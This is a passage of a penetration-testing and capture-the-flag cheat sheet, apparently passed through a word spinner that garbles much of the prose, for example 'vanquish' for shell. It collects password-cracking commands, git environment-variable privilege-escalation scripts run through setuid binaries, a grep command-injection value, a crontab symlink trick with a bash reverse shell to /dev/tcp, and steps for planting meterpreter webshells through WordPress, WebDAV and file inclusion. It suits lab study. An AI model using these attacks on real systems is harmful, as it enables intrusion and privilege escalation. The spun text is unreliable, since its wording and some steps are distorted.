Delete all lines betwixt tags including tags:sed '/<tag>/,/<\/tag>/d' input.txt
Tip
Useful when you lot are accessing the webpage using curl in addition to their LFI in addition to you lot desire to withdraw the html/ body tags.
HTTP 404 Custom Page
Sometimes, it’s a adept thought to facial expression at 404 custom page also. There mightiness live some information stored.Password Protected File
ZIP File
run fcrackzipfcrackzip -D -u -p /tmp/rockyou2.txt flag.zip -D, --dictionary: Select lexicon mode. In this mode, fcrackzip volition read passwords from a file, which must comprise ane password per line in addition to should live alphabetically sorted (e.g. using sort(1)). -p, --init-password string : Set initial (starting) password for brute-force searching to string, or usage the file alongside the call string to render passwords for lexicon searching. -u, --use-unzip: Try to decompress the initiative of all file past times calling unzip alongside the guessed password. This weeds out mistaken positives when non plenty files have got been given.
rar2john
We tin acquire the password hash of a password protected rar file past times using rar2john[root: /Downloads]# rar2john crocs.rar file name: artwork.jpg crocs.rar:$RAR3$*1*35c0eaaed4c9efb9*463323be*140272*187245*0*crocs.rar*76*35:1::artwork.jpg
keepass2john
keepass2john user.kdbx user:$keepass$*2*6000*222*f362b5565b916422607711b54e8d0bd20838f5111d33a5eed137f9d66a375efb*3f51c5ac43ad11e0096d59bb82a59dd09cfd8d2791cadbdb85ed3020d14c8fea*3f759d7011f43b30679a5ac650991caa*b45da6b5b0115c5a7fb688f8179a19a749338510dfe90aa5c2cb7ed37f992192*535a85ef5c9da14611ab1c1edc4f00a045840152975a4d277b3b5c4edc1cd7da
john --wordlist wordlist --format=keepass hashfile
dmg2john gpg2john hccap2john keepass2john keychain2john keyring2john keystore2john kwallet2john luks2john pfx2john putty2john pwsafe2john racf2john rar2john ssh2john truecrypt_volume2john uaf2john wpapcap2john zip2john
Encrypted Files
Many times during the challenges, nosotros do regain encrypted files encrypted past times Symmetric telephone commutation encryption or RSA Public-Private Key encryptionSymmetric Key
If nosotros have got the encrypted file in addition to the telephone commutation to it. However, nosotros don’t know the encryption scheme such every bit aes-128-cbc, des-cbc.We tin usage the code written past times superkojiman inward De-ICE Hacking Challenge Part-1 , it would say you lot what encryption scheme is used in addition to and then nosotros tin run the command to retrieve the plaintext.
ciphers=`openssl list-cipher-commands` for i inward $ciphers; do openssl enc -d -${i} -in <encrypted-file> -k <password/ keyfile> > /dev/null 2>&1 if [[ $? -eq 0 ]]; in addition to then echo "Cipher is $i: openssl enc -d -${i} -in <encrypted-file> -k <password/ keyfile> -out foo.txt" move out fi done
RSA Public-Private Key encryption
If nosotros have got found a weak RSA public, nosotros tin usage RsaCtfTool uncipher information from weak world telephone commutation in addition to seek to recover individual telephone commutation in addition to and then useopenssl rsautl -decrypt -inkey privatekey.pem -in <encryptedfile> -out key.bin
5e14f2c53cbc04b82a35414dc670a8a474ee0021349f280bfef215e23d40601a
xxd -r -p ciphertext > ciphertext3
RSA given q, p in addition to e?
Taken from RSA Given q,p in addition to edef egcd(a, b): x,y, u,v = 0,1, 1,0 piece a != 0: q, r = b//a, b%a m, n = x-u*q, y-v*q b,a, x,y, u,v = a,r, u,v, m,n gcd = b render gcd, x, y def main(): p = 1090660992520643446103273789680343 q = 1162435056374824133712043309728653 e = 65537 ct = 299604539773691895576847697095098784338054746292313044353582078965 # compute n n = p * q # Compute phi(n) phi = (p - 1) * (q - 1) # Compute modular inverse of e gcd, a, b = egcd(e, phi) d = a print( "n: " + str(d) ); # Decrypt ciphertext pt = pow(ct, d, n) print( "pt: " + str(pt) ) if __name__ == "__main__": main()
SECCURE Elliptic Curve Crypto Utility for Reliable Encryption
If you lot see, something similar this'\x00\x146\x17\xe9\xc1\x1a\x7fkX\xec\xa0n,h\xb4\xd0\x98\xeaO[\xf8\xfa\x85\xaa\xb37!\xf0j\x0e\xd4\xd0\x8b\xfe}\x8a\xd2+\xf2\xceu\x07\x90K2E\x12\x1d\xf1\xd8\x8f\xc6\x91\t<w\x99\x1b9\x98'
Network Information
Sometimes, ifconfig in addition to netstat are non nowadays on the system. If so, banking concern check if ip in addition to ss are installed?ip
ip addr 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue province UNKNOWN grouping default qlen M link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 ambit host lo valid_lft forever preferred_lft forever 17: wwan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast province UNKNOWN grouping default qlen M link/ether b2:06:fe:2b:73:c6 brd ff:ff:ff:ff:ff:ff inet 14.97.194.148/30 brd 14.97.194.151 ambit global dynamic noprefixroute wwan0 valid_lft 5222sec preferred_lft 5222sec
hostname
We tin also banking concern check the ipaddress of the host using hostname commandhostname -I 172.17.0.1 14.97.194.148
ss
ss - some other utility to investigate socketsss -n, --numeric Do non seek to resolve service names. -l, --listening Display only listening sockets (these are omitted past times default). -t, --tcp Display TCP sockets. -u, --udp Display UDP sockets.
User Home Directory
If nosotros regain that domicile directory containsFirefox/ Thunderbird/ Seabird
We tin utilize Firefox Decrypt is a tool to extract passwords from Mozilla (Firefox/ Thunderbird/ Seabird) profiles. It tin live used to recover passwords from a profile protected past times a Master Password every bit long every bit the latter is known. If a profile is non protected past times a Master Password, a password volition silent live requested but tin live left blank.Sudoers file
If the sudoers file contains:secure_path
Path used for every command run from sudo. If you lot don’t trust the people running sudo to have got a sane PATH surroundings variable you lot may desire to usage this. Another usage is if you lot desire to have got the “root path” live separate from the “user path”. Users inward the grouping specified past times the exempt_group alternative are non affected past times secure_path. This alternative is non laid past times default.env_reset
If set, sudo volition run the command inward a minimal surroundings containing the TERM, PATH, HOME, MAIL, SHELL, LOGNAME, USER, USERNAME in addition to SUDO_* variables. Any variables inward the caller’s surroundings that fit the env_keep in addition to env_check lists are in addition to then added, followed past times whatever variables nowadays inward the file specified past times the env_file alternative (if any). The contents of the env_keep in addition to env_check lists, every bit modified past times global Defaults parameters inward sudoers, are displayed when sudo is run past times root alongside the -V option. If the secure_path alternative is set, its value volition live used for the PATH surroundings variable. This flag is on past times default.mail_badpass
Send postal service to the mailto user if the user running sudo does non acquire into the right password. If the command the user is attempting to run is non permitted past times sudoers in addition to ane of the mail_all_cmnds, mail_always, mail_no_host, mail_no_perms or mail_no_user flags are set, this flag volition have got no effect. This flag is off past times default.run-parts
run-parts runs all the executable files named, found inward directory directory. This is mainly useful when nosotros are waiting for the cron jobs to run. It tin live used to execute scripts nowadays inward a folder.run-parts /etc/cron.daily
Java keystore file
Refer Java Keytool essentials working alongside java keystores in addition to openssl essentials working alongside ssl certificates individual keys in addition to csrsSteghide
Looking for hidden text inward the images? Utilize steghidesteghide version 0.5.1 the initiative of all declaration must live ane of the following: embed, --embed embed information extract, --extract extract information info, --info display information nigh a cover- or stego-file information <filename> display information nigh <filename> encinfo, --encinfo display a listing of supported encryption algorithms version, --version display version information license, --license display steghide's license help, --help display this usage information
Tip
Sometimes, at that spot is no password, so just press enter.
Git customer Privilege Escalation
Git clients (before versions 1.8.5.6, 1.9.5, 2.0.5, 2.1.4 in addition to 2.2.1) in addition to Mercurial clients (before version 3.2.3) contained 3 vulnerabilities that allowed malicious Git or Mercurial repositories to execute arbitrary code on vulnerable clients nether sure enough circumstances. Refer 12 Days of HaXmas: Exploiting CVE-2014-9390 inward Git in addition to MercurialIn ane of write-up, Nicolas Surribas has mentioned nigh 2 git surroundings variables GIT_SSH in addition to GIT_TEMPLATE which tin live utilized to do privilege escalation if git clone is performed using a suid binary. Imagine a suid binary utilized to do git clone from a remote directory.
GIT_SSH
If either (GIT_SSH or GIT_SSH_COMMAND) of these surroundings variables is laid in addition to then git fetch in addition to git force volition usage the specified command instead of ssh when they demand to connect to a remote system. The command volition live given just 2 or 4 arguments: the username@host (or just host) from the URL in addition to the vanquish command to execute on that remote system, optionally preceded past times -p (literally) in addition to the port from the URL when it specifies something other than the default SSH port. $GIT_SSH_COMMAND takes precedence over $GIT_SSH, in addition to is interpreted past times the shell, which allows additional arguments to live included. $GIT_SSH on the other manus must live just the path to a plan (which tin live a wrapper vanquish script, if additional arguments are needed).echo '#!/bin/bash' > cmd echo 'cp /root/flag.txt /tmp' >> cmd echo 'chmod 777 /tmp/flag.txt' >> cmd GIT_SSH=/home/username/cmd ./setuidbinary(utilizing git clone/ git fetch) or echo 'chown root:root /home/username/priv ; chmod 4755 /home/username/priv' > ssh where priv is binary compiled from suid.c
trace: built-in: git 'clone' 'ssh://root@machine-dev:/root/secret-project' '/mnt/secret-project/'
trace: run_command: '/home/user/ssh' 'root@machine-dev' 'git-upload-pack '\''/root/secret-project'\'''
GIT_TEMPLATE_DIR
Files in addition to directories inward the template directory whose call do non start alongside a dot volition live copied to the $GIT_DIR after it is created. Refer Git-initcp -r /usr/share/git-core/templates/ mytemplates cd mytemplates/hooks echo '#!/bin/bash' > post-checkout echo 'cp /root/flag /tmp/flag2' >> post-checkout echo 'chown username.username /tmp/flag2' >> post-checkout chmod +x post-checkout cd ../.. GIT_TEMPLATE_DIR=/home/username/mytemplates/ ./setuidbinary( utilizing git clone/ git fetch)
Metasploit vanquish upgrade
In metasploit framework, if nosotros have got a vanquish ( you lot should seek this also, when you lot are trying to interact alongside a vanquish in addition to it dies (happened inward a VM), nosotros tin upgrade it to meterpreter past times using sessions -usessions -h Usage: sessions [options] Active session manipulation in addition to interaction. OPTIONS: -u <opt> Upgrade a vanquish to a meterpreter session on many platforms
Truecrypt Files
If you lot have got a truecrypt book to opened upwards in addition to fissure it’s password, nosotros tin usage truecrack to fissure the password in addition to veracrypt to opened upwards the truecrypt volume.truecrack --truecrypt <Truecrypt File> -k SHA512 -w <Wordlist_File>
cryptsetup opened upwards --type tcrypt <Truecrypt> <MountName>
Grep inward input box?
- If the html code contains the below where $key is the input from the user, in addition to nosotros desire to read a particular value
passthru("grep -i $key dictionary.txt"); Remember grep industrial plant inward a way "grep bitvijays /etc/passwd" is regain bitvijays inward /etc/passwd. This tin live used inward reading some files on the disk.
- If the higher upwards contains
if(preg_match('/[;|&]/',$key)) { impress "Input contains an illegal character!"; } else { passthru("grep -i $key dictionary.txt"); }
Here nosotros tin usage “.* /etc/passwd #”
This command searches for whatever grapheme inward the file in addition to comments out the reference to dictionary.txt
Others
- It is of import to banking concern check .profile files also. As it mightiness comprise scripts which are executed when a user is logged in. Also, it mightiness live of import to consider how a application is storing password.
- If there’s a RCE inward some web-application, probably, ane of the way to banking concern check RCE is to ping your ain machine.
- If OPcache engine seemed to live enabled ( banking concern check from phpinfo.php file ) which may allow for exploitation (see the next article)https://blog.gosecure.ca/2016/04/27/binary-webshell-through-opcache-in-php-7/
- Identification of OS:
cat /etc/os-release NAME="Ubuntu" VERSION="16.04 LTS (Xenial Xerus)" ID=ubuntu ID\_LIKE=debian PRETTY\_NAME="Ubuntu 16.04 LTS" VERSION\_ID="16.04" HOME\_URL="http://www.ubuntu.com/" SUPPORT\_URL="http://help.ubuntu.com/" BUG\_REPORT\_URL="http://bugs.launchpad.net/ubuntu/" UBUNTU\_CODENAME=xenial
- Many times if IPv6 is enabled, in all probability you lot tin utilize IPv6 to connect in addition to bypass firewall restrictions ( If firewall is non implemented at IPv6 flat - many times it is non ).
- To regain IPv6 from SNMP
Now, convert the decimal value after “iso.3.6.1.2.1.4.34.1.3.2” to hex which would live your IPv6 address “3002:1234:5678:ABCD::1”snmpwalk -v2c -c world prism 1.3.6.1.2.1.4.34.1.3 iso.3.6.1.2.1.4.34.1.3.2.48.1.0.0.0.0.0.0.0.0.0.0.0.0.0.1 = INTEGER: 335544320 iso.3.6.1.2.1.4.34.1.3.2.48.2.0.0.0.0.0.0.0.0.0.0.0.0.0.1 = INTEGER: 335544321 iso.3.6.1.2.1.4.34.1.3.2.48.2.18.52.86.120.171.205.0.0.0.0.0.0.0.1 = INTEGER: 335544323
TodoMention examples for IPv6 connect
- Port 139 Open
If you lot desire to access the portion you lot mightiness desire to typesmbclient -N -L 192.168.1.2 WARNING: The "syslog" alternative is deprecated Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.3.9-Ubuntu] Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers kathy Disk Fred, What are nosotros doing here? tmp Disk All temporary files should live stored hither IPC$ IPC IPC Service (red server (Samba, Ubuntu)) Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.3.9-Ubuntu] Server Comment --------- ------- RED crimson server (Samba, Ubuntu) Workgroup Master --------- ------- WORKGROUP RED -N : If specified, this parameter suppresses the normal password prompt from the customer to the user. This is useful when accessing a service that does non require a password. -L\|--list This alternative allows you lot to facial expression at what services are available on a server. You usage it every bit smbclient -L host in addition to a listing should appear. The -I alternative may live useful if your NetBIOS names don't fit your TCP/IP DNS host names or if you lot are trying to arrive at a host on some other network.
So, inward the higher upwards example, it would besmbclient \\\\IP\\share\_name
If port 139 is open, also run enum4linux, may live it would assist acquire the user listsmbclient \\\\192.168.1.2\\kathy
- Port 69 UDP:TFTP
get or pose file
- Ruby Best way to acquire quoted words / phrases out of the text
text.scan(/"([^"]\*)"/)
- Convert all text inward a file from UPPER to lowercase
tr '[:upper:]' '[:lower:]' < input.txt > output.txt
- Remove lines longer than x or shorter than x
awk 'length($0)>x' filename or awk 'length($0)
- Remember, past times default cewl generates a worldlist of ane word. It past times default ignore words inward quotes. For example: if “Policy of Truth” is written inward quotes. It volition care for it every bit 3 words. However, what nosotros wanted is to consider whole give-and-take betwixt the quotes. By doing a modest modify inward the cewl source code, nosotros tin acquire all the words inward quotes, nosotros also tin withdraw spaces in addition to changing upper to lower, nosotros were able to create a modest wordlist.
- Got a random string: Figure out what it could be? Hex encoded, base64 encoded, md5 hash. Use hash-identifier tool to assist you.
- If a machine is running a IIS Server in addition to nosotros have got found a way to upload a file. We tin seek asp web-shell or meterpreter of asp, aspx, aspx-exe executable formats from msfvenom.
- If nosotros acquire a pcap file which contains 802.11 information in addition to has auth, deauth in addition to eapol telephone commutation packets, most in all probability it’s a packet-capture done using the wireless assail for WPA-Handshake. Use aircrack to consider if at that spot is whatever WPA handshake present.
13:06:21.922176 DeAuthentication (c4:12:f5:0d:5e:95 (oui Unknown)): Class 3 frame received from nonassociated station 13:06:21.922688 DeAuthentication (c4:12:f5:0d:5e:95 (oui Unknown)): Class 3 frame received from nonassociated station 13:06:21.923157 Acknowledgment RA:c4:12:f5:0d:5e:95 (oui Unknown) 13:06:21.924224 DeAuthentication (e8:50:8b:20:52:75 (oui Unknown)): Class 3 frame received from nonassociated station 13:06:21.924736 DeAuthentication (e8:50:8b:20:52:75 (oui Unknown)): Class 3 frame received from nonassociated station 13:06:21.925723 Acknowledgment RA:e8:50:8b:20:52:75 (oui Unknown) 13:06:21.933402 Probe Response (community) [1.0* 2.0* 5.5* 11.0* 18.0 24.0 36.0 54.0 Mbit] CH: 11, PRIVACY 13:06:21.933908 Acknowledgment RA:c4:12:f5:0d:5e:95 (oui Unknown) 13:06:21.934427 Clear-To-Send RA:e0:3e:44:04:52:75 (oui Unknown) 13:06:21.991250 Authentication (Open System)-1: Successful 13:06:21.992274 Authentication (Open System)-1: Successful 13:06:21.992282 Acknowledgment RA:e8:50:8b:20:52:75 (oui Unknown) 13:06:21.992795 Authentication (Open System)-2: 13:06:21.992787 Acknowledgment RA:c4:12:f5:0d:5e:95 (oui Unknown) 13:06:21.994834 Assoc Request (community) [1.0* 2.0* 5.5* 11.0* 18.0 24.0 36.0 54.0 Mbit] 13:06:21.994843 Acknowledgment RA:e8:50:8b:20:52:75 (oui Unknown) 13:06:21.996890 Assoc Response AID(1) : PRIVACY : Successful 13:06:21.996882 Acknowledgment RA:c4:12:f5:0d:5e:95 (oui Unknown) 13:06:22.011783 Action (e8:50:8b:20:52:75 (oui Unknown)): BA ADDBA Response 13:06:22.012314 Acknowledgment RA:e8:50:8b:20:52:75 (oui Unknown) 13:06:22.012827 BAR RA:e8:50:8b:20:52:75 (oui Unknown) TA:c4:12:f5:0d:5e:95 (oui Unknown) CTL(4) SEQ(0) 13:06:22.013330 BA RA:c4:12:f5:0d:5e:95 (oui Unknown) 13:06:22.014874 CF +QoS EAPOL telephone commutation (3) v2, len 117 13:06:22.015379 Acknowledgment RA:c4:12:f5:0d:5e:95 (oui Unknown) 13:06:22.030226 CF +QoS EAPOL telephone commutation (3) v1, len 117 13:06:22.030746 Acknowledgment RA:e8:50:8b:20:52:75 (oui Unknown) 13:06:22.043034 CF +QoS EAPOL telephone commutation (3) v2, len 175 13:06:22.043026 Acknowledgment RA:c4:12:f5:0d:5e:95 (oui Unknown) 13:06:22.054803 CF +QoS EAPOL telephone commutation (3) v1, len 95 13:06:22.056338 CF +QoS EAPOL telephone commutation (3) v1, len 95 13:06:22.056859 Acknowledgment RA:e8:50:8b:20:52:75 (oui Unknown) 13:06:22.064514 Acknowledgment RA:18:f6:43:9c:dc:5f (oui Unknown) 13:06:22.065030 Acknowledgment RA:18:f6:43:9c:dc:5f (oui Unknown) 13:06:22.079878 Clear-To-Send RA:18:f6:43:9c:dc:5f (oui Unknown) 13:06:22.080901 Acknowledgment RA:18:f6:43:9c:dc:5f (oui Unknown) 13:06:22.108096 DeAuthentication (c4:12:f5:0d:5e:95 (oui Unknown)): Class 3 frame received from nonassociated station 13:06:22.108096 DeAuthentication (c4:12:f5:0d:5e:95 (oui Unknown)): Class 3 frame received from nonassociated station 13:06:22.110144 DeAuthentication (e8:50:8b:20:52:75 (oui Unknown)): Class 3 frame received from nonassociated station
- Transfer an image
base64 flair.jpg Copy output vi flair Paste the clipboard base64 -d flair > flair.jpg
- Have a web-accessible git ? utilize dvcs-ripper to rip spider web accessible (distributed) version command systems: SVN, GIT, Mercurial/hg, bzr. It tin rip repositories fifty-fifty when directory browsing is turned off. Eric Gruber has written a weblog on Dumping Git Data from Misconfigured Web Servers providing adept walkthru.
- It’s ever of import to find, what’s installed on the box:
or using wild cardsdpkg-query -l
dpkg-query -l 'perl*'
- It’s ever of import to authorities notation downwardly all the passwords found during the procedure of exploiting a vulnerable machine every bit at that spot is a great possibility that passwords would live reused.
- If you lot have got .jar file, Probably usage jd-gui to decompile in addition to persuasion the course of educational activity file.
- Find latterly modified files:
find / -mmin -10 -type f 2>/dev/null
- Getting a opposite vanquish from:
Drupal: Now that nosotros have got access to the Drupal management panel, nosotros tin gain RCE past times enabling the PHP filter module. This volition allow us to execute arbitrary code on the site past times inserting a specifically crafted string into page content. After enabling the module, I proceed to allow code to live executed past times all users nether the configuration cover for the module. Once enabled nosotros demand to give permission to usage it so inward people -> permissions banking concern check “Use the PHP code text for.Next, nosotros create a novel block (by going to Blocks, nether the Structure menu) alongside the next content. We brand sure enough to select PHP code from the Text format drib down. Taken from Droopy Vulnhub WriteUp Drupal settings file location: /var/www/html/sites/default/settings.php
WordPress : If nosotros have got found a username in addition to password of wordpress alongside admin privileges, nosotros tin upload a php meterpreter. One of the possible way is to do Appearance > Editor > Possibly edit 404 Template.
- If the only port which is opened upwards is 3128, banking concern check for the opened upwards proxy in addition to road the traffic via the opened upwards proxy. Probably, squid proxy server would live running. If it is the squid configuration file is /etc/squid/squid.conf
- If you lot do acquire the configuration file, do banking concern check for what sort of proxy it is! similar SOCKS4, SOCKS5 or HTTP(S) proxy in addition to is at that spot whatever authentication required to access the proxy.
- We may utilize Proxychains to access the other side of network similar ssh, http etc.
- Running Asterisk/ Elastix/ FreePBX or whatever PBX, in all probability seek SIPVicious suite is a laid of tools that tin live used to audit SIP based VoIP systems. Running “http:\IPpanel” should provide us valid extensions.
- authbind software allows a plan that would ordinarily require superuser privileges to access privileged network services to run every bit a non-privileged user. authbind allows the scheme administrator to permit specific users in addition to groups access to bind to TCP in addition to UDP ports below 1024.
- Mostly, if there’s only port opened upwards similar ssh in addition to the IP mightiness live acting every bit a interface betwixt 2 networks? Like information technology in addition to OT. Probably, seek to add together that IP address every bit a default route? As it mightiness live acting every bit a router?
- If you lot are trying to figure out the hostname of the machine in addition to the DNS-Server is non configured, may live seek to do a Full Nmap Scan -A Option? (Still demand to figure out how does that work)
- Want to shipping a e-mail via the SMTP server something similar SMTP-Open-Relay utilize Swaks Swiss Army Knife for SMTP.
swaks --to xxxxx@example.com --from xxxxxee@example.edu --server 192.168.110.105:2525 --body "Hey Buddy How are you lot doing" --header "Subject: Hello! Long time"
- Got /etc/shadow file?, utilize /etc/passwd alongside unshadow command in addition to usage john or cudahashcat to fissure passwords.
unshadow passwd shadown
- If IIS in addition to WebDav alongside PUT in addition to MOVE method are enabled, nosotros tin usage testdav or cadaver (A command-line WebDAV customer for Unix) to consider which files are allowed
Now, nosotros tin consider that pl, html, txt in addition to other files tin live uploaded. Now, if the MOVE method is enabled, nosotros tin upload a php meterpreter inward a text file in addition to and then MOVE the .txt file to .php in addition to execute the php file.davtest -url http://10.54.98.15/ ******************************************************** Testing DAV connexion OPEN SUCCEED: http://10.54.98.15 ******************************************************** NOTE Random string for this session: E3u9ISnNswYes0 ******************************************************** Creating directory MKCOL SUCCEED: Created http://10.54.98.15/DavTestDir_E3u9ISnNswYes0 ******************************************************** Sending examine files PUT pl SUCCEED: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.pl PUT asp FAIL PUT aspx FAIL PUT cgi FAIL PUT html SUCCEED: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.html PUT cfm SUCCEED: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.cfm PUT jhtml SUCCEED: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.jhtml PUT shtml FAIL PUT php SUCCEED: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.php PUT jsp SUCCEED: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.jsp PUT txt SUCCEED: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.txt ******************************************************** Checking for examine file execution EXEC pl FAIL EXEC html SUCCEED: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.html EXEC cfm FAIL EXEC jhtml FAIL EXEC php FAIL EXEC jsp FAIL EXEC txt SUCCEED: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.txt ******************************************************** /usr/bin/davtest Summary: Created: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0 PUT File: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.pl PUT File: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.html PUT File: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.cfm PUT File: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.jhtml PUT File: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.php PUT File: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.jsp PUT File: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.txt Executes: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.html Executes: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9ISnNswYes0.txt
- In ane of the VM, ane of the task was to capture the RAM of the scheme past times using LiME Linux Memory Extractor ( which is executed past times suid binary alongside root privileges ). Let’s say the ramdump was saved at
/tmp/ramdump
ln -s /etc/crontab /tmp/ramdump
cat cron.py impress "* * * * * root /bin/bash /home/username/evilscript"
The contents of evilscript tin be
/bin/bash -i >& /dev/tcp/IP/Port 0>&1
- phpbash is a standalone, semi-interactive spider web shell. It’s chief purpose is to assist inward penetration tests where traditional opposite shells are non possible.
- ps aux non fully visible try
echo "`ps aux --sort -rss`"
- If there’s a XXE on a website in addition to possible RFI using internal address i.e on http://127.0.0.1:80/home=RFI rather than http://10.54.98.10:80/home=RFI, utilize XXE to shipping the asking alongside localaddress.
- If there’s a possible command execution on a website such as
curl -A "bitvijays" -i "http://IPAddress/example?parameter='linux_command'"
- Similar to ls at that spot is dir inward linux. Try “dir -l” Might live helpful sometimes.
- Sometimes, nosotros don’t have got tools on the victim machine, inward that instance nosotros tin download static binaries from Static-Binaries If not, found, seek the deb or rpm packet of the binary, extract it in addition to upload.
- mysql tin execute statements inward ane liner using –execute or -e option
mysql [options] db_name --user=user_name, -u user_name : The MariaDB user call to usage when connecting to the server. --password[=password], -p[password] : The password to usage when connecting to the server. If you lot usage the curt alternative cast (-p), you lot cannot have got a infinite betwixt the alternative in addition to the password. If you lot omit the password value next the --password or -p alternative on the command line, mysql prompts for one. --execute=statement, -e declaration : Execute the declaration in addition to quit. Disables --force in addition to history file. The default output format is similar that produced alongside --batch.
- If there’s .action file nowadays inward the URL on a Apache WebServer, Apache Struts mightiness live installed on it. Check for Apache Struts vulnerabilities on it.
- Handy Stuff
- Utilize xxd to convert hex to ascii
xxd -r -p -p | -ps | -postscript | -plain : output inward postscript continuous hexdump style. Also known every bit acre hexdump style. -r | -revert : opposite operation: convert (or patch) hexdump into binary. If non writing to stdout, xxd writes into its output file without truncating it. Use the combination -r -p to read acre hexadecimal dumps without line number information in addition to without a particular column layout. Additional Whitespace in addition to line-breaks are allowed anywhere.
- Use python
- binascii.unhexlify(hexstr) to convert hex to string
- base64.decodestring(str) to decode base64 string
- Convert number to hex
hex(15) '0xf'
- Convert hex to decimal
s = "6a48f82d8e828ce82b82" i = int(s, 16)
- Getting out of more
If inward somecase, nosotros are unable to ssh into the machine or beingness logged out when trying ssh, banking concern check the /etc/passwd file for the vanquish defined for that user.
Here Instead of /bin/bash, user1 is using /usr/bin/showtext, which is acre non a shell. Let’s facial expression at the content of the filecat /etc/passwd | grep user1 user1:x:11026:11026:user flat 1:/home/user1:/usr/bin/showtext
In such cases, First, minimize your terminal so that when nosotros are logged into user1 via ssh command, the large text volition strength a “more” message to prompt us to proceed the output. Now that nosotros have got forced the terminal to prompt us to proceed the display via “more” or “–More–(50%)” inward this case, press “v” to acquire into “vim”, a built-in text editor on Unix machines. Once, nosotros have got vim interface, usage :shell to acquire a shell.cat /usr/bin/showtext #!/bin/sh to a greater extent than /text.txt move out 0
- List all the files together
find /home -type f -printf "%f\t%p\t%u\%g\t%m\n" 2>/dev/null | column -t
Cyber-Deception
Wordpot
Wordpot : Wordpot is a Wordpress honeypot which detects probes for plugins, themes, timthumb in addition to other mutual files used to fingerprint a wordpress installation.python /opt/wp/wordpot.py --host=$lanip --port=69 --title=Welcome to XXXXXXX Blog Beta --ver=1.0 --server=XXXXXXXWordpress
FakeSMTP
FakeSMTP : FakeSMTP is a Free Fake SMTP Server alongside GUI for testing emails inward applications easily.java -jar /opt/fakesmtp/target/fakeSMTP-2.1-SNAPSHOT.jar -s -b -p 2525 127.0.0.1 -o /home/username
Rubberglue
Rubberglue : We tin usage Rubberglue to take heed on a port such that whatever traffic it receives on that port it volition frontward dorsum to the customer ( assaulter ) on the same port.python2 /opt/honeyports/honeyports-0.4.py -p 23
Knockd
Knockd - Port-knocking server : knockd is a port-knock server. It listens to all traffic on an ethernet (or PPP) interface, looking for special “knock” sequences of port-hits. Influenza A virus subtype H5N1 customer makes these port-hits past times sending a TCP (or UDP) packet to a port on the server. This port demand non live opened upwards – since knockd listens at the link-layer level, it sees all traffic fifty-fifty if it’s destined for a closed port. When the server detects a specific sequence of port-hits, it runs a command defined inward its configuration file. This tin live used to opened upwards up holes inward a firewall for quick access.If at that spot is port knocking involved, read the /etc/knockd.conf, read the sequence port knock should live done in addition to execute
for PORT inward 43059 22435 17432; do nmap -PN 192.168.56.203 -p $PORT; done
DCEPT
SecureWorks researchers have got created a solution known every bit DCEPT (Domain Controller Enticing Password Tripwire) to regain network intrusions. Github is dceptUseful Tools
Appendix-I : Local File Inclusion
Local File Inclusion (LFI) is a type of vulnerability concerning spider web server. It allow an assaulter to include a local file on the spider web server. It occurs due to the usage of non properly sanitized user input.Tools
To examine LFI, RFI, nosotros tin also usage Uniscan Uniscan is a elementary Remote File Include, Local File Include in addition to Remote Command Execution vulnerability scanner.uniscan -h OPTIONS: -h assist -u <url> example: https://www.example.com/ -f <file> listing of url's -b Uniscan move to background -q Enable Directory checks -w Enable File checks -e Enable robots.txt in addition to sitemap.xml banking concern check -d Enable Dynamic checks -s Enable Static checks -r Enable Stress checks -i <dork> Bing search -o <dork> Google search -g Web fingerprint -j Server fingerprint usage: [1] perl ./uniscan.pl -u http://www.example.com/ -qweds [2] perl ./uniscan.pl -f sites.txt -bqweds [3] perl ./uniscan.pl -i uniscan [4] perl ./uniscan.pl -i "ip:xxx.xxx.xxx.xxx" [5] perl ./uniscan.pl -o "inurl:test" [6] perl ./uniscan.pl -u https://www.example.com/ -r
Note
Also, if nosotros have got unprivileged user vanquish or an powerfulness to store a file somewhere inward the filesystem, notwithstanding don’t have got permission to write inward /var/www/html but does have got LFI, nosotros tin silent write (php meterpreter shell) inward /tmp or user domicile directory in addition to utilize LFI to acquire a opposite shell.
Filtering inward LFI
Sometimes, at that spot mightiness live some filtering applied past times default. For example: filename=secret.txt, hither it is possible that it volition only read files named secret.txt or alongside extension .txt. So, may live rename your payload accordingly.For example: the below code only includes the file which are named secret
<?php $file = @$_GET['filname']; if(strlen($file) > 55) exit("File call likewise long."); $fileName = basename($file); if(!strpos($file, "secret")) exit("No undercover is selected."); echo "<pre>"; include($file); echo "</pre>"; ?>
LFI to Remote Code Execution
Mainly taken from LFI-Cheat-Sheet , Exploiting PHP File Inclusion – Overview in addition to Upgrade from LFI to RCE via PHP SessionsThere are multifariousness of unlike tricks to plough your LFI into RCE. Using
